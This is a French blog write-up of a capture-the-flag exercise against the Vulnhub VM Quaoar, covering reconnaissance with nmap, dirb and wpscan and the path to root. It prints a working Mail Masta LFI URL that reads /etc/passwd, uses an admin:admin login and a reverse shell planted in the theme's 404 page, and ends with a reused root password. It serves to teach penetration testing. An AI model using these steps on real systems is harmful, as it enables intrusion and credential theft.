Drop That Shell : Quaoar

Date de publication: 01/04/2019

Bonjour à toutes et à tous !

Afin d'inaugurer ma nouvelle série d'articles, je vous propose de s'attaquer directement à une machine virtuelle (VM) classique dans le domaine du CTF : Quaoar.

Cette VM, disponible sur vulnhub.com, a été créée spécialement pour le Hackfest 2016 par Viper. Considérée comme étant une machine facile à pwn (devenir root), elle me permettra d'expliquer quelques concepts techniques du pentest sur lesquels je ne reviendrai sûrement pas dans les prochains articles afin d'éviter de me répéter. Commençons sans plus tarder !

Writeup

Dans n'importe quelle épreuve de CTF, l'étape de la reconnaissance est cruciale. C'est grâce aux informations récoltées durant cette partie qu'une réflexion pourra alors être construite afin d'aller plus loin.

Les ports ouverts et les services présents sur ces ports sont des informations très importantes que nous pouvons retrouver grâce à nmap. Ici, je lance un scan agressif (-A) afin d'avoir un maximum d'informations sans me soucier de me faire repérer sur le réseau ! Attention : Ce genre de scan utilise beaucoup de bande passante et peut déclencher des systèmes de détections d'intrusion dans un véritable contexte.

Nmap scan report for 192.168.0.192
Host is up (0.0033s latency).
Not shown: 991 closed ports
PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 5.9p1 Debian 5ubuntu1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 d0:0a:61:d5:d0:3a:38:c2:67:c3:c3:42:8f:ae:ab:e5 (DSA)
|   2048 bc:e0:3b:ef:97:99:9a:8b:9e:96:cf:02:cd:f1:5e:dc (RSA)
|_  256 8c:73:46:83:98:8f:0d:f7:f5:c8:e4:58:68:0f:80:75 (ECDSA)
53/tcp  open  domain      ISC BIND 9.8.1-P1
| dns-nsid: 
|_  bind.version: 9.8.1-P1
80/tcp  open  http        Apache httpd 2.2.22 ((Ubuntu))
| http-robots.txt: 1 disallowed entry 
|_Hackers
|_http-server-header: Apache/2.2.22 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
110/tcp open  pop3        Dovecot pop3d
|_pop3-capabilities: STLS CAPA RESP-CODES UIDL TOP PIPELINING SASL
| ssl-cert: Subject: commonName=ubuntu/organizationName=Dovecot mail server
| Not valid before: 2016-10-07T04:32:43
|_Not valid after:  2026-10-07T04:32:43
|_ssl-date: 2019-03-27T16:11:40+00:00; +59m59s from scanner time.
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
143/tcp open  imap        Dovecot imapd
|_imap-capabilities: LITERAL+ LOGINDISABLEDA0001 Pre-login more OK have IMAP4rev1 listed capabilities ENABLE IDLE ID SASL-IR LOGIN-REFERRALS post-login STARTTLS
| ssl-cert: Subject: commonName=ubuntu/organizationName=Dovecot mail server
| Not valid before: 2016-10-07T04:32:43
|_Not valid after:  2026-10-07T04:32:43
|_ssl-date: 2019-03-27T16:11:41+00:00; +59m59s from scanner time.
445/tcp open  netbios-ssn Samba smbd 3.6.3 (workgroup: WORKGROUP)
993/tcp open  ssl/imap    Dovecot imapd
|_imap-capabilities: LITERAL+ AUTH=PLAINA0001 Pre-login OK have more SASL-IR listed ENABLE IMAP4rev1 ID capabilities LOGIN-REFERRALS post-login IDLE
| ssl-cert: Subject: commonName=ubuntu/organizationName=Dovecot mail server
| Not valid before: 2016-10-07T04:32:43
|_Not valid after:  2026-10-07T04:32:43
|_ssl-date: 2019-03-27T16:11:39+00:00; +59m58s from scanner time.
995/tcp open  ssl/pop3    Dovecot pop3d
|_pop3-capabilities: CAPA RESP-CODES UIDL TOP SASL(PLAIN) PIPELINING USER
| ssl-cert: Subject: commonName=ubuntu/organizationName=Dovecot mail server
| Not valid before: 2016-10-07T04:32:43
|_Not valid after:  2026-10-07T04:32:43
|_ssl-date: 2019-03-27T16:11:40+00:00; +59m59s from scanner time.
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: 1h39m58s, deviation: 1h37m59s, median: 59m58s
|_nbstat: NetBIOS name: QUAOAR, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery: 
|   OS: Unix (Samba 3.6.3)
|   NetBIOS computer name: 
|   Workgroup: WORKGROUPx00
|_  System time: 2019-03-27T12:11:40-04:00
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_smb2-time: Protocol negotiation failed (SMB2)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.37 seconds

Nmap nous montre alors que plusieurs services tournent sur la machine

La plupart des CTF pour débutants se focalisent sur les services Web pour la phase d'exploitation. Le service SSH est bien moins souvent l'objet d'attaque car moins de failles sont présentes sur ce genre de service. Néanmoins, un petit recherche d'exploit pour la version de SSH rencontrée ne fait jamais de mal.

J'ai l'habitude de souvent commencer par une brève exploration du serveur Web afin de récolter plus d'informations, comme des noms d'utilisateurs par exemple. En accédant au serveur Web, je tombe sur une page contenant une image.

Trop vide pour être vrai, j'inspecte le code source de la page afin de vérifier si des informations n'y sont pas cachées.

Rien d'intéressant… On continue !

Le fichier robots.txt est souvent source d'informations utiles. Les dossiers sensibles y sont souvent mentionnés afin de ne pas être référencés par les moteurs de recherche.

Le fichier robots.txt nous apprend qu'une instance Wordpress tourne sur le serveur dans le répertoire /wordpress/ … Un troll y est aussi présent.

Comme je ne me fie pas seulement au robots.txt, je décide de lancer mon outil d'énumeration de répertoires favori: dirb

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Wed Mar 69 69:69:69 2019
URL_BASE: http://192.168.0.192/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://192.168.0.192/ ----
+ http://192.168.0.192/cgi-bin/ (CODE:403|SIZE:289)                                                                
+ http://192.168.0.192/hacking (CODE:200|SIZE:616848)                                                              
+ http://192.168.0.192/index (CODE:200|SIZE:100)                                                                   
+ http://192.168.0.192/index.html (CODE:200|SIZE:100)                                                              
+ http://192.168.0.192/LICENSE (CODE:200|SIZE:1672)                                                                
+ http://192.168.0.192/robots (CODE:200|SIZE:271)                                                                  
+ http://192.168.0.192/robots.txt (CODE:200|SIZE:271)                                                              
+ http://192.168.0.192/server-status (CODE:403|SIZE:294)                                                           
==> DIRECTORY: http://192.168.0.192/upload/                                                                        
==> DIRECTORY: http://192.168.0.192/wordpress/

Les images sont parfois trompeuses et peuvent faire l'objet de sténographie.

Une fois tout exploré, je m'attarde alors sur le répertoire /upload/

Ce répertoire contient un CMS Lepton 2. Après plus de 30min à tester des injections SQL/XSS dans la barre de recherche, je laisse ce répertoire de côté afin de me focaliser sur quelque chose de sûrement plus juteux.

Une bonne chose à faire lorsqu'on se trouve face à une installation Wordpress est d'utiliser l'outil wpscan. Ce script va nous permettre d'énumérer des points essentiels comme:

Je vous conseille de jeter un œil au manuel d'utilisation de ce script très puissant.

_______________________________________________________________
        __          _______   _____
                 / /  __  / ____|
            /  / /| |__) | (___   ___  __ _ _ __ ®
           /  / / |  ___/ ___  / __|/ _` | '_ 
             /  /  | |     ____) | (__| (_| | | | |
            /  /   |_|    |_____/ ___|__,_|_| |_|

        WordPress Security Scanner by the WPScan Team
                       Version 3.4.4
          Sponsored by Sucuri - https://sucuri.net
      @_WPScan_, @ethicalhack3r, @erwan_lr, @_FireFart_
_______________________________________________________________

[+] URL: http://192.168.0.192/wordpress/
[+] Started: Wed Mar 27 69:69:69 2019

Interesting Finding(s):

[+] http://192.168.0.192/wordpress/
 | Interesting Entries:
 |  - Server: Apache/2.2.22 (Ubuntu)
 |  - X-Powered-By: PHP/5.3.10-1ubuntu3
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] http://192.168.0.192/wordpress/xmlrpc.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
 | References:
 |  - http://codex.wordpress.org/XML-RPC_Pingback_API
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner
 |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access

[+] http://192.168.0.192/wordpress/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] Upload directory has listing enabled: http://192.168.0.192/wordpress/wp-content/uploads/
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] WordPress version 3.9.14 identified (Insecure, released on 2016-09-07).
 | Detected By: Rss Generator (Passive Detection)
 |  - http://192.168.0.192/wordpress/?feed=rss2, <generator>http://wordpress.org/?v=3.9.14</generator>
 |  - http://192.168.0.192/wordpress/?feed=comments-rss2, <generator>http://wordpress.org/?v=3.9.14</generator>
 |
 | [!] 38 vulnerabilities identified:
 |
 | [ SNIPS ]
[+] WordPress theme in use: twentyfourteen
 | Location: http://192.168.0.192/wordpress/wp-content/themes/twentyfourteen/
 | Last Updated: 2019-02-21T00:00:00.000Z
 | [!] The version is out of date, the latest version is 2.6
 | Style URL: http://192.168.0.192/wordpress/wp-content/themes/twentyfourteen/style.css?ver=3.9.14
 | Style Name: Twenty Fourteen
 | Style URI: http://wordpress.org/themes/twentyfourteen
 | Description: In 2014, our default theme lets you create a responsive magazine website with a sleek, modern design...
 | Author: the WordPress team
 | Author URI: http://wordpress.org/
 |
 | Detected By: Css Style (Passive Detection)
 |
 | Version: 1.1 (80% confidence)
 | Detected By: Style (Passive Detection)
 |  - http://192.168.0.192/wordpress/wp-content/themes/twentyfourteen/style.css?ver=3.9.14, Match: 'Version: 1.1'

[+] Enumerating Users (via Passive and Aggressive Methods)
 Brute Forcing Author IDs - Time: 00:00:01 <============================================================> (10 / 10) 100.00% Time: 00:00:01

[i] User(s) Identified:

[+] admin
 | Detected By: Author Posts - Display Name (Passive Detection)
 | Confirmed By:
 |  Rss Generator (Passive Detection)
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

[+] wpuser
 | Detected By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

[+] Finished: Wed Mar 27 69:69:69 2019
[+] Requests Done: 20
[+] Cached Requests: 38
[+] Data Sent: 4.139 KB
[+] Data Received: 87.992 KB
[+] Memory used: 3.035 MB
[+] Elapsed time: 00:00:03

Le script me révèle alors que deux utilisateurs sont présents:

L’énumération des utilisateurs est très importante car elle permet sur certains challenges de construire des wordlist personnalisées et de mener des attaques bruteforce efficaces.

Je vois ici que 38 vulnérabilités ont été détectées en se basant sur la version de Wordpress. Évidemment, mon but ici n'est clairement pas de toute les tester. Mais une faille de type LFI attire alors toute mon attention.

[+] mail-masta
 | Location: http://192.168.0.192/wordpress/wp-content/plugins/mail-masta/
 | Latest Version: 1.0 (up to date)
 | Last Updated: 2014-09-19T07:52:00.000Z
 |
 | Detected By: Urls In Homepage (Passive Detection)
 |
 | [!] 2 vulnerabilities identified:
 |
 | [!] Title: Mail Masta 1.0 - Unauthenticated Local File Inclusion (LFI)
 |     References:
 |      - https://wpvulndb.com/vulnerabilities/8609
 |      - https://www.exploit-db.com/exploits/40290/
 |      - https://cxsecurity.com/issue/WLB-2016080220
 |
 | [!] Title: Mail Masta 1.0 - Multiple SQL Injection
 |     References:
 |      - https://wpvulndb.com/vulnerabilities/8740
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-6095
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-6096
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-6097
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-6098
 |      - https://github.com/hamkovic/Mail-Masta-Wordpress-Plugin
 |
 | Version: 1.0 (100% confidence)
 | Detected By: Readme - Stable Tag (Aggressive Detection)
 |  - http://192.168.0.192/wordpress/wp-content/plugins/mail-masta/readme.txt
 | Confirmed By: Readme - ChangeLog Section (Aggressive Detection)
 |  - http://192.168.0.192/wordpress/wp-content/plugins/mail-masta/readme.txt

J'ai donc directement essayé d'exploiter les multiples injections SQL montrées par wpscan. Malheureusement, je n'ai jamais réussi à en tirer quelques chose.

La faille LFI quand à elle s'est avérée d'actualité. En effet, en accédant à la page “http://192.168.0.192/wordpress/wp-content/plugins/mail-masta/inc/campaign/countofsend.php?pl=/etc/passwd”, le contenu du fichier /etc/passwd s'affiche ! Une première possibilité d'exploitation.

Je remarque alors que dans ce fichier se trouve un utilisateur que je n'avais pas encore énuméré, “wpadmin”.

N'étant pas très expérimenté avec les failles de type LFI, je décide de me pencher sérieusement sur des recherches afin de tourner cette LFI en RCE (Remote Code Execution).

En contrôlant le contenu d'un fichier sur le serveur, nous pouvons exécuter du code arbitraire en le faisant afficher grâce à notre LFI. Ainsi, si notre LFI permet d'afficher le contenu des logs d'accès Apache par exemple (ou les logs d'erreur), nous pouvons injecter du code PHP dans nos requêtes GET apache afin de les faire apparaître dans le fichier de logs et de le faire exécuter par le serveur en les affichant par la LFI. Complexe vu comme ça, mais brillant une fois compris.

Après une bonne heure à tester tous les fichiers de logs possibles, je me rend compte qu'aucun d'entre eux n'est lisible via la LFI et que mes efforts pour la transformer en RCE sont vains.

Par la suite, je repense à l'utilisateur “wpadmin” et me demande si je pourrait lire le contenu de son répertoire personnel via la lfi…

Premier drapeau obtenu !

Après ce petit succès, je retourne alors sur wordpress.

L'utilisateur admin içi n'est pas très commun et plutôt intéressant. Je me dis que tenter de me loger avec son compte ne coûte rien et tente le fameux “admin:admin”.

Et voilà, je me retrouve admin de l'installation wordpress !

Tout fébrile, je cherche alors un moyen d'avoir un reverse shell grâce à mon tout nouvel accès. Me vient alors une idée très tordue, mais qui fonctionna parfaitement. Je décide de modifier la page 404 du thème installé afin d'y insérer mon reverse shell. (Pourquoi faire simple quand on peut faire compliqué ?)

Metasploit intègre le module exploit/unix/webapp/wpadminshell_upload qui permet de se procurer un meterpreter grâce à des logins wordpress valides. Au moment où je fait le CTF, je n'en ai aucune idée.

Ainsi, après avoir déclenché une erreur 404 sur le site, je me vit octroyé un shell avec l'utilisateur www-data.

Le reverse shell de pentest-monkey, écrit en php, est un script extrêmement utile à avoir sur soi. Après un peu de modification ce script sera votre meilleur ami !

Une fois un shell ouvert, j'ai une petite habitude bien personnelle qui est de me lancer un VRAI shell, pas juste un interpréteur très limité. Pour cela, une ligne de python fait l'affaire :

python -c 'import pty; pty.spawn("/bin/bash")'

Une fois bien installé, j'inspecte le fichier de configuration utilisé par wordpress afin d'y chercher des informations juteuses.

Ce mot de passe ressemble bien à un mot de passe root… Je test, on sait jamais !

PWNED !  

C'est déjà la fin de ce premier writeup ! J'espère qu'il vous a plu. Il y a sûrement plusieurs autres manières d'arriver au compte root de cette machine. N'hésitez pas à me donner des suggestions dans les commentaires si vous êtes du genre créatif !

Durant mes prochains articles je pense garder la même trame d'écriture afin de vous expliquer mes raisonnements, mes echecs et mes découvertes subsidiaires concernant ces machines.

Cette VM était d'un niveau assez faible mais permet de se mettre dans le bain lorqu'on se lance dans les CTF.

Je vous donne rendez-vous très bientôt pour de nouveaux articles ! :)